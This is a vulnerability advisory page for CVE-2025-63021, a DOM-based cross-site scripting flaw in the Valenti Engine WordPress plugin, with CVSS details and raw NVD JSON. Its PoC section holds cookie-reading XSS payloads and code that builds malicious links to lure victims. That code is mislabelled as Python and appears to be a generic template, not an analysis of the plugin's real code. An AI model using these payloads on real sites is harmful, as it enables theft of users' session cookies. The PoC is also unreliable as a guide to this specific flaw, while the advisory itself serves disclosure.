Security Vulnerability Report
中文
CVE-2025-63021 CVSS 6.5 MEDIUM

CVE-2025-63021

Published: 2025-12-31 17:15:48
Last Modified: 2026-04-23 15:34:58

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in codetipi Valenti Engine valenti-engine allows DOM-Based XSS.This issue affects Valenti Engine: from n/a through <= 1.0.3.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Valenti Engine <= 1.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-63021 PoC - DOM-Based XSS in Valenti Engine // Target: WordPress site with Valenti Engine plugin <= 1.0.3 // Attacker-controlled payload const xssPayload = '<img src=x onerror=alert(document.cookie)>'; // Method 1: URL-based injection via hash fragment // Attack URL: https://victim-site.com/page#[XSS_PAYLOAD] // The vulnerable JavaScript reads from location.hash and writes to DOM // Method 2: URL parameter injection // Attack URL: https://victim-site.com/page?param=[XSS_PAYLOAD] // Method 3: Form/input field injection // If the plugin reflects user input in the DOM without sanitization // Example exploitation flow: function exploitDOMXSS() { // Vulnerable code pattern (simplified) // var userInput = document.location.hash.substring(1); // document.getElementById('vulnerable-element').innerHTML = userInput; // Construct malicious URL const baseUrl = window.location.origin; const maliciousUrl = baseUrl + '/page#' + encodeURIComponent(xssPayload); // Social engineering: trick user into clicking the link console.log('Malicious URL:', maliciousUrl); // When victim visits this URL, the XSS payload executes return maliciousUrl; } // Automated test example const testPayload = '"\'><script>alert("XSS")</script>'; const testUrl = 'https://target-site.com/?search=' + encodeURIComponent(testPayload); console.log('Test URL:', testUrl); // Check if payload is reflected without encoding in page source or DOM

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63021", "sourceIdentifier": "[email protected]", "published": "2025-12-31T17:15:48.330", "lastModified": "2026-04-23T15:34:58.220", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in codetipi Valenti Engine valenti-engine allows DOM-Based XSS.This issue affects Valenti Engine: from n/a through <= 1.0.3."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en codetipi Valenti Engine permite XSS basado en DOM. Este problema afecta a Valenti Engine: desde n/a hasta 1.0.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/valenti-engine/vulnerability/wordpress-valenti-engine-plugin-1-0-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}